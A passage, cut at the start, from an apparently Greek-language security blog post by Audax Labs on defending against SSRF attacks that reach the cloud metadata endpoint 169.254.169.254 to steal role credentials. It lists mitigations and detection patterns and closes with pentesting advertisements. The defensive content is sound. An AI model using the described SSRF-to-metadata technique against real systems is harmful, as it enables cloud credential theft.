http/https, απορρίψτεfile://,gopher://,dict://και άλλα schemes. - Κάντε ανάλυση (resolve) του hostname και απορρίψτε ρητά link-local (
169.254.0.0/16, ιδίως169.254.169.254), loopback, RFC1918 και άλλα εσωτερικά εύρη — μετά το resolve και ξανά πριν το τελικό connect, για να αποτρέψετε DNS rebinding.
2. Επιβάλετε IMDSv2-only (και hop-limit)
- Το πιο υψηλής απόδοσης cloud control για αυτή την αλυσίδα: απενεργοποιήστε πλήρως το IMDSv1 και επιβάλετε IMDSv2 (session tokens). Ένα βασικό GET-only SSRF τότε αποτυγχάνει, όπως δείξαμε.
- Ρυθμίστε το metadata hop-limit σε 1 ώστε το token να μη μπορεί να «περάσει» μέσα από containers/proxies προς αλλού.
- Όπου δεν χρειάζεται καθόλου metadata (π.χ. σε ορισμένα workloads), απενεργοποιήστε το IMDS εντελώς.
3. Least-privilege IAM roles
- Ακόμη κι αν κλαπεί ένα token, ο αντίκτυπος καθορίζεται από το τι επιτρέπει ο role. Δώστε στον role μόνο τα δικαιώματα που πραγματικά χρειάζεται η εφαρμογή (least privilege), με στενά scoped policies και resource conditions.
- Αποφύγετε wildcard permissions (
*) και «βολικούς» ευρείς ρόλους. Ένας role με πρόσβαση μόνο σε ένα συγκεκριμένο prefix ενός bucket περιορίζει δραματικά τη ζημιά. - Χρησιμοποιήστε short-lived credentials και τακτικό rotation· τα προσωρινά credentials του IMDS λήγουν γρήγορα by design — μην τα «μονιμοποιείτε» αντιγράφοντάς τα.
4. Egress filtering και network segmentation
- Περιορίστε τι μπορεί να προσεγγίσει το web workload εξερχόμενα (egress). Ένας web server σπάνια χρειάζεται ελεύθερη πρόσβαση σε εσωτερικά εύρη· ένα egress firewall/security group που μπλοκάρει το
169.254.169.254(όπου εφικτό) και τα εσωτερικά subnets κόβει το SSRF pivot. - Segmentation: κρατήστε τα εσωτερικά services (databases, admin panels) σε ξεχωριστά, μη-δρομολογήσιμα από το web tier segments.
5. WAF, input validation και ανίχνευση
- Ένα WAF με κανόνες για SSRF patterns (link-local IPs, metadata paths, encoded IPs) προσθέτει ένα επιπλέον επίπεδο — δεν είναι πανάκεια, αλλά αυξάνει το κόστος του επιτιθέμενου.
- Detection: το πιο καθαρό σήμα εδώ είναι outbound request προς
169.254.169.254που προέρχεται από web application process. Καταγράψτε και δημιουργήστε alert για metadata access από μη-αναμενόμενες διεργασίες, για ασυνήθιστα egress patterns, και για χρήση role credentials από νέες/μη-αναμενόμενες πηγές (IP, user-agent). Χαρτογραφήστε τα detections στα T1190, T1552.005, T1078.004 για μετρήσιμη κάλυψη.
Αν εφαρμόσετε έστω τα σημεία 1 και 2, η συγκεκριμένη αλυσίδα δεν ολοκληρώνεται: είτε ο server αρνείται να φέρει το 169.254.169.254, είτε το IMDSv2 απορρίπτει το GET-only request.
Σύνοψη
Αυτή η αλυσίδα αποτυπώνει με σκληρή σαφήνεια πώς ένα «αθώο» web feature — μια απλή προεπισκόπηση συνδέσμου — γίνεται πλήρης κλοπή cloud credentials και πρόσβαση σε προστατευμένα δεδομένα, χωρίς ο επιτιθέμενος να αποκτήσει ποτέ shell. Ένα SSRF, ένα metadata endpoint που εμπιστεύεται τυφλά κάθε GET, ένα προσωρινό token, και ένας role με πρόσβαση σε δεδομένα: τέσσερα «διαχειρίσιμα» στοιχεία που, ενωμένα, δίνουν έλεγχο.
Το μήνυμα για κάθε οργανισμό είναι διπλό. Πρώτον, το SSRF στο cloud δεν είναι «medium» — είναι potentially critical, γιατί η απόστασή του από το IMDS είναι ένα και μόνο request. Δεύτερον, η άμυνα δεν είναι ένα «μαγικό» control· είναι πολλαπλά, επικαλυπτόμενα επίπεδα (SSRF allowlist + block link-local, IMDSv2-only με hop-limit, least-privilege roles, egress filtering, WAF, detection metadata access) που το καθένα σπάει τουλάχιστον έναν κρίκο. Η συνεχής χαρτογράφηση της επιφάνειας επίθεσης και η επαλήθευση με πραγματικές τεχνικές επίθεσης είναι ο μόνος τρόπος να ξέρετε — και όχι απλώς να υποθέτετε — ότι αυτά τα επίπεδα δουλεύουν.
Από το εργαστήριο, στο δικό σας περιβάλλον
Στα Audax Labs στήνουμε ελεγχόμενα σενάρια για να δείξουμε πώς σκέφτεται και δρα ένας επιτιθέμενος — από ένα δευτερεύον web feature μέχρι κλεμμένα cloud credentials. Το ζητούμενο δεν είναι το εργαλείο· είναι η αλυσίδα και η απόδειξη ανθεκτικότητας.
Η Audax Cybersecurity μεταφέρει αυτή τη λογική στο δικό σας περιβάλλον μέσα από δομημένο penetration testing, adversary validation και συνεχή Continuous Threat Exposure Management με το Continuous Exposure Management — με τεκμηριωμένα ευρήματα, προτεραιοποίηση και σαφή απόδειξη για τις απαιτήσεις NIS2 & DORA.
Human-led. Machine-scaled. Technically proven.
Επισκεφθείτε το https://www.audax.gr για να μάθετε πώς μετατρέπουμε σενάρια σαν αυτό σε μετρήσιμη βελτίωση της ασφάλειάς σας.
Θέλετε συνεχή επικύρωση της ασφάλειάς σας — όχι έλεγχο μία φορά τον χρόνο;
Το Continuous Exposure Management της Audax ενοποιεί attack surface discovery, attack surface testing και παρακολούθηση αναδυόμενων απειλών σε έναν συνεχή, αποδεικτικό κύκλο — εκτελούμενο από τους certified offensive operators μας. Human-led. Technically proven. Ευθυγραμμισμένο με NIS2 & DORA.
Δείτε το Continuous Exposure Management →Χρειάζεστε Penetration Testing για τον οργανισμό σας;
Περιγράψτε το scope του ελέγχου μέσα από το δομημένο ερωτηματολόγιο και λάβετε εξατομικευμένη τεχνική & οικονομική προσφορά από την ομάδα Offensive Security της Audax. Χωρίς αυτόματη τιμή ή δέσμευση — η προσφορά αποστέλλεται μετά από τεχνική αξιολόγηση του scope.
Ζητήστε προσφορά Penetration Testing →